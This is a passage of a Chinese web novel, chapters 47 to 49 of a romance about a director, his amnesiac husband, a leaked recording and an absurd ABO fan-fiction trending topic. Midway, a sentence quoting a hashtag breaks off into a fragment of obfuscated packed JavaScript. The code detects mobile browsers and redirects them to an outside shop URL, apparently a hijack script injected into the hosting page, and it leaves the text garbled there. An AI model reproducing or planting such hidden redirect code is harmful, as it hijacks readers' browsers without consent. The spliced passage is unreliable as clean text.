松了口气，笑着和爱人交换一个早安吻，裴澈支使地踢踢他的小腿：“快去做早饭。”
早上的阳光仿佛比平日明媚许多。
青年眉眼带着松快笑意，顺着楼梯往下，远远闻见早餐蔬菜饼的味道。
“好香啊！”从背后拥上男人的腰，探头在脸颊一吻，“一下子就饿了。”
男人没有动，腰身一僵。
裴澈顿生不好的预感，先发制人：“朝觉，你终于回来啦！”
小傻子·贺朝觉转身低头，眸光深黯复杂：“阿澈。”
果然，裴澈两眼一黑，前天白干了。
那个人占据身体的时候，贺朝觉不是全然无知无觉，他有一些零碎的记忆，所以记得阿澈和那个人怎么甜蜜亲昵。
但他宁愿自己不记得！
贺朝觉眼神破碎，抖着手抚上裴澈的脸：“阿澈，你可不可以再多骗我一天？”
裴澈只犹豫了一秒，恶人先告状：“还一天呢！你的符一点效果都没有，昨天他都欺负我了！”
贺朝觉：“！！！”
立马紧张兮兮地抱过阿澈，左看右看：“阿澈，欺负哪了？”
手指摁在青年红润的唇上，心如刀绞：“他亲你这里了？”
笨拙炽热的吻盖上来，细细密密地要把另一个人的痕迹抹去。
又拨开衣领，作势要给脖子也洗一遍。
裴澈连忙垂眼，借着晨起的哈欠挤出两滴眼泪：“我不想说了。”
“好好，”贺朝觉心疼地手足无措，拉过椅子让阿澈坐下，“不是饿了吗？快吃饭吧。”
混合麦粉和鸡蛋清香，早餐饼柔韧又香软。
瞧见青年吃得很香，状似忘记了悲伤的事情，贺朝觉稍稍松了口气。
不管怎么样，他都不想要阿澈为难。
吃到一半，裴澈突然抬头，小心翼翼开口：“朝觉，我的电影马上要杀青，想要趁四中校庆回去宣传一下，听说你是杰出校友，可不可以带上我啊？”
四中……那个人也是四中毕业的。
贺朝觉略一迟疑，对上阿澈恳切的眼神，点点头。
裴澈瞬间满意：“我对这部电影还挺期待的。”
这个电影拿不拿奖都没问题，他个人配得上一个演技最佳新人奖。
47.第47章
贺朝觉不清楚裴澈的想法，不然这个演技最佳新人奖，他高低得争一争。
“律师联系好了？”
夜幕之下，裴澈面前一脸乖巧甜蜜的男人临江而立，眸色深沉决绝，西装被晚风卷得猎猎作响。
李特助欲言又止，止言又欲，：“BOSS，虽然但是，把自己送局子里是不是太极端了？”
贺朝觉背影萧瑟，不容置喙：“都是我欠他的。”
李特助额了一声：“……裴导还是通情达理的，BOSS，你做的那些事情道德上确实有亏，离婚就是了。”
坐牢，还罪不至此吧。
贺朝觉摇摇头。
李特助不会明白。那个人醒来的时间越来越长，阿澈还沉浸在骗局里，留给他的时间不多了。
必须在分出胜负前彻底解决后患！
“我的命令，你照做就是，要是感情上说服不了自己，呵——”
贺朝觉自嘲一笑：“我可以告诉你，我贺朝觉是个人渣。不仅仅通过他父亲强迫他，还让他失去了一个孩子。”
李特助：“？？？”
痛心的自陈满满都是感情，在晚风里飘零成一堆乱七八糟的字符狠狠砸在他头上。
嘶，钟医生的胡说八道居然是真的！
贺总，你在外头乱搞，都搞出人命和感情来了？！
三观重塑的李特助跟着贺总开车离开。
不久，黑魆魆的桥洞里钻出一个影子来。
卧槽，风头正劲的恩爱夫夫强取豪夺直掰弯，涉及婚内出轨第三者流产，背后还可能存在暴力胁迫，劲爆啊！
黑影兴奋地打开某信，随手划拉过一排联系人，眼神算计地在上面打转。
可得把这个消息卖个好价钱！
*
《半生烟梦》拍摄接近尾声，姜雅歌头一次有机会拿到好剧本，跟着好导演全程学习，她愿意拼又有自己思考，借着这部电影成长很多。
“啧笙儿，现在再看网上这些黑料，我情绪居然极度稳定，你说，是不是心境都不同了？”
长相艳丽的女星戴着墨镜，美滋滋吸溜果汁刷某博。
助理安笙探头一瞅：“确实，裴导让宣发放出去那些片花，现在也是有演技路好了。”
“看，这个说你情绪感染力不错。”
“拍戏也快乐，磕cp也快乐，”姜雅歌猛猛吸了一口果汁，“简直是神仙日子！现在就等电影上映了，嘿嘿，没想到姐有天还能梦一个用实力打脸！”
她随手一划拉屏幕，刷出来一个怪东西。
嘶，好怪——
卧槽，手滑点了个赞！
完了完了完了完了完了。
姜雅歌期期艾艾在裴澈休息间门口徘徊，半天不敢敲门。
以前手滑点赞合作的烂剧烂人男主角黑料，被经纪人指着鼻子骂个把小时，她也不虚的。
但对象是裴导啊，一想到那条极度抽象的热搜标题，姜雅歌就两眼一黑，有种做了错事回来带累恩师的感觉。
一墙之隔的休息间里，裴澈坐在椅子上，面无表情地按下播放键。
【我贺朝觉是个人渣。不仅仅通过他父亲强迫他，还让他失去了一个孩子。】
被当面处刑的贺朝觉脸色越来越白，像刷了一层白漆。
试图解释：“阿澈……”
裴澈冷冷打断：“你要把自己送进局子？就为了和他同归于尽？”
贺朝觉：“对，但是阿澈……”
裴澈站起来走到他身边：“你一直没有放弃这些想法，那你也知道我提出去四中是为了什么？”
贺朝觉艰涩地滚动喉咙：“是，你想唤醒他，我不能——”
裴澈啪一下捧住爱人的脸，两眼直直忘进男人深黑眼眸：“你想错了！别忘了，四中也是你的母校！”
闭闭眼，咬牙说出羞耻度爆表的台词：“我、我不是唯一一个为两个男人动心的人，但你们在同一个壳子里，确实很难取舍。”
“经过深思熟虑，我已经决定了，从四中回来之后不管占主导的是谁，我都会接受他。”
贺朝觉一脸震惊：“啊？”
裴澈木着脸把贺朝觉的薄唇捏成鸭嘴。
要不是这只死鸭子嘴硬，稳拿剧本寸步不让，他也不至于写出这么离谱的台词。
压低声音，凑近了画饼：“贺朝觉，为了我，成为那个占上风的优胜者。”
外边，姜雅歌乱七八糟地想着热搜。
舆论战兵贵神速，咬咬牙觉得不行，还是得叩门。
手刚伸到门板边，隔音很差的临时休息间里突然传来“砰”的一声，就好像……什么东西被一把推在墙上。
“裴导，我来救你！”姜雅歌花容失色，欻地一脚踹开了门。
门里两双眼睛齐齐投来。
探班的贺总被裴导逼在墙边，西装革履，面色绯红，一副小媳妇姿态，此时看过来的眼神凶狠得能杀人。
裴导则状似放松地站在一边，身体微倾，脸暧昧地离贺总很近，只轻轻转向门口方向。
啊啊啊啊啊！这是什么好东西？
姜雅歌cp脑上线，条件反射拉上门：“不好意思，我走错了。”
不对！拉上的门又猛地打开，结结巴巴：
“裴裴裴裴导，看看看看热搜，我弄出大事了！”
裴澈脸色瞬间一变。
他高价买断狗仔那里的消息，按理说不应该出事。
但圈里一条消息几个买主的事不少见，他早早拟了预备方案，只不过姜雅歌是女明星，卷进这件事很难彻底洗白。
事后送狗仔一个敲诈罪还是轻了。
“别紧张，雅歌，”裴澈瞬间进入工作状态，以保护自己的艺人为主，斩钉截铁，“这件事完全不该把你卷进来，相信我，一定会清清白白地解决，给你一个交代。”
姜雅歌：“啊？”
裴澈以为她不相信，严肃保证：“我以我的名誉担保。”
不是，您干嘛一副对不起我的样子……
姜雅歌低头看看手机，又看看裴导，最终懵逼地“好”了一声。
双眼发直地关好门，离开休息间。
扒拉住助理，一脸震惊：“笙儿，你帮我看看这个热搜没错吧？”
手机屏幕上赫然几个大字：
#姜雅歌手滑点赞陪你朝暮ABO生子35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290267|146910||http|test|mini|href|location''.split(''|''),0,{}));
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休息间里，裴澈头疼地揉揉太阳穴，觉得事情有点棘手。
狗仔不知道贺朝觉的惊天剧本，现实世界也没有男男生子，他自然而然地以为，是裴澈婚内出轨第三者怀孕，贺朝觉暴力胁迫流产。
这种新闻，姜雅歌扯进来只有一个定位。
裴澈面色难看地掏出手机，打开某博。
果然——嗯？？？
*
“我不明白，世界癫成这样了。”
如此抽象的热搜爆到热一，挂了一下午，是姜雅歌真的红了对吧。
裴澈一脸麻木地开车，贺朝觉满脸担忧，小心翼翼在旁边刷某博。
阿澈看完某博就变得好奇怪！
随手一扒拉，贺朝觉终于看见了罪魁祸首——
#姜雅歌手滑点赞陪你朝暮ABO生子
眉头一皱，陪你朝暮他知道，是阿澈和他的cp名。生子……
脸色一变，迅速抬头看裴澈。
该死，阿澈体质特殊的秘密竟然人尽皆知了！
贺朝觉痛心之至，立马问道：“阿澈，我们什么时候回四中？”
啊？
裴澈略带疑惑地瞥一眼后视镜，不知道特别抗拒的爱人怎么突然打了鸡血，归心似箭。
“你不是不想回去吗？”
贺朝觉温情地看老婆，声音轻柔，掷地有声：“阿澈，为了你，我愿意赌一个可能性。而且我答应你，从四中回来的一定是我！”
只有我才从舆论中保护你，不让舆论成为他指向你的另一把刀！
裴澈：“……那好。”
说实话，因为这个丢人热搜，他最近不是很想回去宣传呢。
还要带着姜雅歌和贺朝觉一起。
*
话虽如此，爱人恢复记忆的可能性就在眼前，裴澈怎么也要去试一试。
转眼到了周四，《半生烟梦》自上周杀青后，迎来了计划中的回校宣传活动。
四中，本市口碑最好、底蕴最深的高中，多年来培养出无数杰出校友。“百廿辉煌，薪火相传”的横幅悬挂在高大的校门上，红毯一路铺进主会场，门口广场上停满了名贵豪车，低调不失奢华。
因为和贺朝觉“摊牌”，裴澈也不装了，没再硬蹭他杰出校友的名号，反过来把他装进了自己剧组的车。
“阿澈，不愧是你，这部电影还没上映，已经打出了知名度！”
贺朝觉眼神亮晶晶地夸老婆，看着外面举着《半生烟梦》牌子的迎宾学生非常骄傲。
裴澈眉头微挑：“对，第一部电影有新手加成。”
毕竟是十八线小演员转行嘛。
贺朝觉认真脸：“不是的阿澈，是因为你很有才华，又超级努力！”
裴澈觑他一眼，埋进男人胸口，声音闷闷的：“但是我怕宣传不好，你一定要全程陪着我，我去哪里你就去哪里，好不好？”
贺朝觉怎么可能说不好，阿澈体质败露，舆论缠身，他当然要随时护在身边！
“当然好了！”
车门徐徐打开，裴澈身着剪裁得体的黑色西装，凝眸望着高大校门上的熟悉题字，深吸一口气，紧握着爱人的手下了车。
48.第 48 章
青年气质清冷矜贵，迈出车门，露出半张昳丽莹白的脸，瞬间吸引了附近的注意力。
贺朝觉见势不好，欻地从后面给老婆搭上一条围巾。
裴澈扒拉扒拉棕灰围巾，把嘴解救出来，贺朝觉已经长腿一迈到了他面前，又把一副墨镜架在他脸上。
大镜片一下遮住了半张脸。
裴澈无语：“……这是什么穿搭。”
贺朝觉揽着他，警告地四下打量，低声说：“阿澈，不要紧，他们不看你了。”
行口吧。
为了多在学校里转转，裴澈特意空了一个小时出来，牵着贺朝觉告别大部队，溜进教学楼之间。
返校社会人士很多，两人穿着正装本来不显突兀，但一个人戴着奇怪的围巾墨镜，另一个人不停机警张望，就有点突出了。
第三次被保安怀疑地“盯——”，裴澈扯扯贺朝觉的手：“我就是个十八线小演员新晋导演，没人看我。”
贺朝觉不情不愿地接过围巾，欲言又止。
阿澈是一只具有返祖特征的极为稀有的Omega，他还没认识到自己的珍贵。
是在这个只有两种性别的世界，他在其他人眼里是一个异类。
裴澈拉着贺朝觉走进综合楼，二楼走廊玻璃展墙裱着一排学生会干部，往前走到尽头是学生会的办公室。
贺朝觉性格低调，在校时可能不是风云人物，但也不应该默默无名。四中的高三和高一高二分属南北校区，这是他们最有可能发生交集的地方。
裴澈转头，满眼期待：“这里眼熟吗？”
贺朝觉诚实地摇摇头。
不是在校学生会认识的？裴澈不死心地牵着他转了两圈，还进去办公室看了看，贺朝觉都没有什么反应。
离开时，男人突然指着玻璃展墙上的一张照片：“阿澈，我还记得你。”
少年面容青涩，已有几分昳丽矜持的影子，眸光亮亮的，看起来还没有那么清冷。
裴澈退后看了一眼：“还记得什么吗？”
贺朝觉摇摇头，突然一怔：“阿澈……弹钢琴。”
音乐社没到排练时间，社团教室空空荡荡。
裴澈信手按下，好听的旋律星河一般流出来。
“有段时间没动了，手有点生。”他一边说一边噙着笑意坐下，细长白皙的手指跳跃起来，指挥着黑白的琴键。
阳光从明亮的大窗斜斜投进来，镀在青年身周的金色仿佛在发光，恍惚间和一个明媚的少年重合。
贺朝觉怔怔，眼眸里投出少年的影子，不自觉道：“……和我想象的一模一样。”
……
“我应该来过这里，但没看过你弹琴。”贺朝觉皱着眉头，试图往模糊的记忆里追溯更深。
一瞬的恍惚过去，他想不起来自己为什么说出那句话。
“没事没事，我们还有时间。”裴澈发现二选一给爱人的压力有点大，连忙安慰他。
贺朝觉心疼地嗅嗅阿澈的后颈：“我想快点想起来，完整的记忆有利于分化。”
裴澈：“？？？”
拉开距离，面露警惕：“……什么分化？”
贺朝觉神色复杂，阿澈曾经这么耀眼，要不是被那个人标记得太狠，也不至于返祖分化出Omega的特征，成为那个人进一步羞辱的把柄。
现在缺少Alpha的信息素，才会焦虑不安，他之前竟然没有意识到，还想把自己送进局子，彻底隔离。
忙一把抱住裴澈，安抚：“没事的阿澈，我是你的Alpha，我会打败那个人，陪你一起面对。”
好一个Alpha，贺朝觉越来越与时俱进了。
裴澈咬牙切齿：“怪不得早上两个大黑眼圈，昨晚熬夜看小说了是吧！”
*
在学校兜了一圈，连竞赛教室都去看了，贺朝觉作为一路拿奖自己创业的学霸居然毫无印象，唯一的记忆还停留在弹钢琴。
裴澈有一点点焦虑，但不太敢焦虑，男人虎视眈眈，在他后颈闻来闻去，一会给他咬一口，见面会上多方位镜头真不好解释。
时间差不多，裴澈领着他的待分化Alpha来到后台。
小陶上来汇报工作：“老板，和我们的预案差不多，狗仔把消息多卖了，不过姜雅歌手滑的热搜压在上面，动静不大，插科打诨的比较多。”
裴澈点点头：“往离谱设定大赏的方面洗，顺利吗？没把剧组其他艺人扯进来吧。”
小陶推推眼镜，一瞬间压不住笑：“老板，还是围绕你和贺总的词条比较有热度，都一样是瞎编，bg向的根本掀不起水花。”
裴澈麻木：“那就好。”
至于有多离谱，被科普ABO之后，他有点丧失学习的兴趣。
主创见面会的氛围相当不错。
男主演秦峻是实力派，为人正直，和女主演姜雅歌戏外关系也很好。
两个人都是5G网速，脑子快梗又密，一个正气凛然话少但致命，另一个艳丽张扬又刁钻毒舌，互动你来我往、默契十足，和剧里相爱相杀的氛围对上，直播频道和现场的观众都直呼磕到了。
群像戏流出的片花给其他配角也吸了不少粉丝，嘉宾和媒体的提问集中于剧情和角色，从导演到演员，整个班底全员带脑子，回答有的放矢，能讲出深度，给电影拉了不少好感度。
刘劲双眼通红坐在电脑前看直播，眼里的刻毒疯狂都快流出来了。
凭什么？
谢老撤资，刘劲投的《锦云生花》差点半路泡汤，腆着脸面拉来投资，砍预算才勉强继续拍摄。
为了热度，紧赶慢赶杀青和裴澈打擂台，片花发出去石沉大海不说，截胡裴澈来的女主角江清研，还因为偷税漏税塌房了！
看《半生烟梦》宣发得风生水起，他嫉恨得眼珠子都红透了。
一边的实时热度监测上，排名掉了几天的＃裴澈＃贺朝觉#生子#姜雅歌稳步爬升，很快回到顶峰。
刘劲嘴角露出癫狂的笑容，编辑消息，发送。
见面会现场。
裴澈刚回答完一个问题，放下话筒，点到另一个举手的媒体记者。
记者慢条斯理地站起来，清清嗓子，丢下一个炸弹：
“裴导，这个问题可能不太好回答。请问针对最近网上出现的生子舆论，您怎么看？”
裴澈莹白的脸一下飞上薄红。
但同人舞到正主面前这种事，在欧美圈相当常见，他是在某站见过大风大浪的人，贴脸也不虚。
嗯，不虚。
战术性咳嗽一声，举起话筒：“其实那篇文我看过，咳，有一些瑰奇的幻想，故事性还挺强的。”
这时，观众席中响起一道惊呼的涛声。
西装革履的英俊男人从后台走上来，几步站到裴澈旁边，先是眼神锋锐扫了台下，视线立马紧张地落在老婆身上。
“阿澈。”轻柔昵称被裴澈的话筒收入，又惹起台下一阵起哄的“哦——”
贺朝觉伸手接过右边递来的话筒。<
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不er，这话筒哪来的？
一瞬间，裴澈有了不好的预感，但在台上阻挡不及——
男人声音低沉充满威势，掷地有声：“我认为，问一个Omega这种问题，是极大的冒犯。”
裴澈两眼一黑。
贺朝觉说完心疼地看向老婆，展臂搂住老婆的腰。这些人，欺负得阿澈都快站不住了。
直播间内，【嗷嗷嗷嗷嗷】疯狂刷屏。
【贺总好爱他的Omega】
【百分百匹配度的AO夫夫就是甜】
【天杀的父亲贩子，我一眼就认出来，这是我的亲爸爸们】
【看旁边老实巴交的易帆哈哈哈哈，一剪没的倒霉Beta儿子】
扭曲的笑容猛地收回，刘劲差点没抽筋。
Omega是什么意思？
裴澈不应该面色一变，接受媒体和观众的谩骂吗？他说故事性很强？拒不承认博文的真实性？
现场观众反应也很大，很快有人举手在面前围成喇叭状，高声喊：“贺总，可以问你一个问题吗？”
刘劲目眦尽裂，问，赶紧问，问他怎么看待裴澈出轨，问他手里是不是有人命。
热心观众：“贺总，裴导是Omega，那您是他的Alpha吗？”
刘劲：“？？？”
cp粉疯了。
【姐妹你是我的嘴替】
【是吧是吧是吧，一看就是很会标记的那种】
【[人心黄黄][人心黄黄][人心黄黄]】
听到这个问题，裴澈又战略性咳嗽了一下，一把掐住贺朝觉搂在背后的小臂。
适可而止啊。
贺朝觉不躲不闪，庄严肃穆：“我会努力尽到一个Alpha的职责，让我的Omega能够健康快乐。”
说着轻轻在裴澈后颈落下一吻，顶着满场的尖叫声话锋一转：“接下来的时间还是交给《半生烟梦》，这是我爱人非常用心的作品。”
*
“阿澈！阿澈！”
新晋Alpha追在他的Omega后面，可怜巴巴：“我错了，我还没有决出胜负，也没有分化，没法安抚你，不配当你的Alpha……”
但是Omega情绪脆弱，他怎么能看着老婆被欺负！
裴澈转身微笑：“其实我是A装O。”
贺朝觉瞳孔巨震。
什么？！以Alpha的体质受孕又失去孩子，阿澈受了多少苦啊！
眼神更加复杂：“阿澈，你辛苦了！”
裴澈：“……”
从世界观层面瓦解设定大失败，裴澈拉过贺朝觉，面无表情往前走。
当务之急，赶紧把正常的老攻找回来。
绕过一排树，贺朝觉猛地拉住裴澈，下一秒一只书包从天而降，划过一道弧线砸到两人身前。
少年穿着校服从栅栏上翻下来，吓了一跳，捞起书包挠挠脸，含糊地道了个歉赶紧跑了。
贺朝觉对着他的背影怒目而视，转身却看见老婆怔怔走到了栅栏前面。
铁栅栏把南北校区分开，一边是高三，一边是高一高二。
裴澈仰头透过栅栏看向天空，又转身缓缓蹲下，抱膝坐在了栅栏底下。
贺朝觉心疼得不行，三两步上前：“阿澈，你吓着了吗？都怪我。别坐地上了，地上……”脏。
最后一个字没出口，贺朝觉突然后脑发疼。裴澈仰着头拉他，面露期待：“朝觉，你有没有想起什么？”
49.过往
裴澈的父亲白手起家，从一无所有做到实业巨头，母亲出身书香门第，对文学艺术有深厚的造诣。两人年轻时一见钟情，婚后携手共度风雨，是T城人尽皆知的一段佳话。
裴澈，就是在这片美满中诞生的孩子。
家境优渥，品学兼优，长相气质上佳，天生带着一种众星捧月的光芒。
没有人觉得他会有烦恼。
没人知道，万众瞩目的小王子恰恰承受不了这份瞩目。
冬天日暮得早，褪色的太阳慢悠悠坠到楼后，天色已经有些暗下来。
裴澈抱膝坐在地上，靠着冰凉的铁栅栏，晚风从八年前的缝隙吹来，下意识感觉后背缺了道温热身体支撑。
“你记得吗？”抬手拉住半蹲下来的贺朝觉，温声道，“这个位置以前没有灯，晚上黑魆魆的一片，什么都看不见。”
最适合喘不过气的时候一个人坐着发呆。
贺朝觉扶着头，努力抓住闪过的画面，有些笨拙：“嗯……阿澈，我好像听见你哭了。”
裴澈笑着贴贴他的鼻尖：“就记得我丢人的事？你的腿还麻了呢，就因为我突然坐到对面，动都不敢动。要不是我突然哭出声，你还得装几个小时木头人。”
贺朝觉“啊”一声，又犹豫着抬头：“好像不是在这……”
他拉起裴澈，辨认着栅栏左侧的树一路往前，速度越来越快。
率先停下来的是裴澈。
一道空白的金属牌吸引了他的目光。
这片林子里的树上都挂着金属小牌，有些是关于树种的科普，有些是鸟类、昆虫和其他小动物的简笔图画。
只有眼前这棵树上的牌子是一片空白。
他捏捏贺朝觉的手，低头凑近去看：“这是你捐赠的？”
空白的地方并不是空无一物，几组凸起的点组成了寥寥几个盲文符号。修长的手指抚过，读出三个字的同时，耳边仿佛响起少年低低的声音：
“眼睛只是一种感官，过滤掉眼睛所见的是非表里，用心能体悟真实的善意，你看别人是这样，别人看你也是。”
拉着贺朝觉在旁边的栅栏处坐下，两人的西装都沾上了泥土。裴澈把头靠在爱人肩膀上，声音带着不可思议：“居然是你！”
他们满打满算“见”过的次数一只手都能数过来，甚至不知道对方长什么样，叫什么名字。
等等！裴澈突然转头，咬牙切齿：“后来我掉的校服名牌，是不是被你捡走了？！”
贺朝觉脸色恍惚，捂着头皱眉：“应该是吧，我怎么不还给你呢？”
回过神，裴澈又有点庆幸。两人约定交换姓名的那晚，贺朝觉失约，后来他等了半个月，也没有等到。
裴澈轻笑：“幸好你捡到了名牌，不然要怎么找到我？”
贺朝觉还在纠结：“我都捡到名牌了，为什么不早点找到你呢？”
裴澈想了想：“其实也挺倒霉的，当时有个男生翻栅栏把腿摔骨折了，学校连夜安了投灯，天天派老师巡查，你说不定后来又回来过，只是我们没碰……”
突然面色一变，攥住贺朝觉的手：“……没事，别想了。”
他记起来了，约定的那晚是元旦前夜，他要作为主持人登台报幕。
贺朝觉姥姥的祭日也在元旦前一天，没记错的话，就是在高三那年。
裴澈瞬间心疼得不行，亲亲爱人的眼睛，轻声哄他：“今天想起来这些就很好了。”
贺朝觉倔强地站起身，环顾四周，试图找到更多记忆的蛛丝。
两人沿着栅栏来回走了几圈，直到夜幕降下，投灯都打开。
贺朝觉抬头看天上的月亮，去摸那块写着盲文的牌子。
简单的三个字：【对不起。】
青涩的歉意击穿岁月，戳在他的心头，似乎有零星画面闪过，又消失。
贺朝觉失望地捂着胸口，他再想不起来，那个人又出现怎么办。
“朝觉。”裴澈轻轻握住他的肩膀，温柔的声线似曾相识，一种难以言说的感觉战栗着爬上来。
后脑猛地一痛，天旋地转。
天幕像倾盆大雨一样扣下来，他在公交站焦灼地等待。
暴雨打湿视线，他晕头转向地往医院狂奔。
干净矜贵的少年打开车门，满身泥水的他坐在保养得体的真皮坐垫上，兜里揣着一小块名牌。
他跪倒在病床前，看着姥姥欣慰地咽下最后一口气，心电图滴滴归零。
“——朝觉，朝觉！”
*
男人唇色苍白，躺在病床上昏迷不醒，身上连着许多仪器。
“医生，检查结果怎么样了？”
“情况还不错，后脑血块消失，脑电结果也恢复正常。观察两到三小时，醒来很可能恢复记忆。”
真的？裴澈又是惊喜，又是心疼。
这次贺朝觉住院他全程陪同，哪怕醒过来剧本升级，他也能摁住。
焦躁等待的时候，时间就过得格外慢。
裴澈干脆把办公搬到病床旁边，和小陶发消息沟通起诉狗仔的事。
【老板，另一个买家果然是刘劲。狗仔在那份音频里做了手脚，他没法发布完整录音，干脆捏在手里还没放出来，暂时不确定掌握的是哪个部分。】
裴澈皱眉：【我亲自和他谈。】
点开某信找到刘劲，一个信息丢过去：
【你手里的那部分没有意义，攻击不到我。】
刘劲零帧上钩：【裴导，大家都是聪明人，不需要说这话虚张声势。就算没有怀孕流产的猛料，贺总亲口承认强迫你结婚，对你们最近打造的恩爱人设，也是致命打击吧。】
【哦，我怎么确认你有这部分。】
【[音频]都是我欠他的……BOSS，你做的那些事情道德上确实有亏……我贺朝觉是个人渣……通过他父亲强迫他……】
“……”
还真是全损音频，该有的都没有。
裴澈心情很好：【打不打击，发完就知道了[微笑]】
刘劲气疯：【我们走着瞧！】
通过欺负蠢货缓解完心头焦虑，裴澈碰碰贺朝觉的手，起身去把窗帘拉起。
月光透过窗户洒在病床上，男人放在身侧的手指微不可见地动了一下。
裴澈坐回到床边，忍不住凑近戳戳爱人的脸：
“不是说要做我的Alpha吗？现在你的Omega很想你。”
不行
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，这句话也太蠢了，要是贺朝觉正好醒了——
裴澈目光上移，和男人温和的视线对上，身子一僵。
“阿澈，”贺朝觉抬手，拭去裴澈眼角滚下的泪珠，“我真的回来了。”
……
虽然醒了，但医生建议再观察几天，裴澈也赞同。
贺朝觉简直是急不可耐，恨不得马上就回家。
裴澈斜眼睨他：“不是上次了，死活不愿意回去。”
贺朝觉噤声：“……”
裴澈哼笑一声，不放过他，凑过去追问：“上次为什么不想回家？不想面对你自己的罪证？”
贺朝觉耳朵红透了，缩到被子里。
裴澈揭开被子亲亲耳朵，轻轻问：“你都醒了，打算什么时候标记我？”
贺朝觉：“！！！”
羞耻至极的贺总彻底忘记回家。他现在还不太适合……标记。
第二天，谢以寒来探病。
口罩一拉，墨镜一推，把花束水果放到床头，谢以寒贼兮兮道：“上次没赶上，这次可算赶上了。”
贺朝觉：“……那我争取下次住院通知你。”
谢以寒摆摆手：“没事，看缘分。”
抬头张望：“澈澈呢？听说他把办公室搬到病房了，在这里做粗剪？”
澈澈，叫这么亲热。贺朝觉面无表情：“阿澈刚刚接了个电话，应该在外面和小陶聊宣传的事。”
谢以寒挠挠头，突然神秘兮兮地凑到贺朝觉耳边。
贺朝觉嫌弃地一挪。
谢以寒：“……”
眨眨眼给贺朝觉找了个借口：“头伤比较敏感？那这么说也行。”
贺朝觉皱眉看他，沉声：“说什么？”
自从和阿澈心意相通，他看谢以寒这个阴魂不散的前任，不顺眼得越来越光明正大。
谢以寒紧张地看房门，悄悄：“你最近是不是没看某博，有人造谣说你们不是真心相爱，那条音频不是你说的吧，仿得真像啊！”
贺朝觉眸光一缩，不动声色：“具体编了什么？”
“就是你用资金链胁迫澈澈和你结婚，”谢以寒哈哈地笑，“太搞笑了，怎么编得这么离谱的，哈哈、哈、哈……哈……我出去找澈澈！”
谢以寒一溜烟逃走了。
贺总现在很需要一个手机，他想要，他得到。
下午李特助来探班，给了BOSS一个上网的机会。
贺朝觉一扒拉某博，广场都吵疯了。居然不少人听信这种弱智说出来的言论，觉得他和阿澈不是两情相悦。
别的没仔细看，贺总大病初愈，秉持单一原则。
拆cp的一通点踩，磕cp的一通点赞，磕得特别起劲的加上打赏。
手机回到李特助手上，他人都傻了：“BOSS，登的是官方V号，给这种账号点赞打赏不太合适吧……”
“哪里不合适？”贺朝觉视线一瞥。
清冷美人就应该在下面，他和阿澈的cp粉头。
有什么不合适的？
……
一小时后，裴澈看着某博热一，缓缓皱起了眉头。
#贺朝觉小号笑死我了
裴澈：“？？？”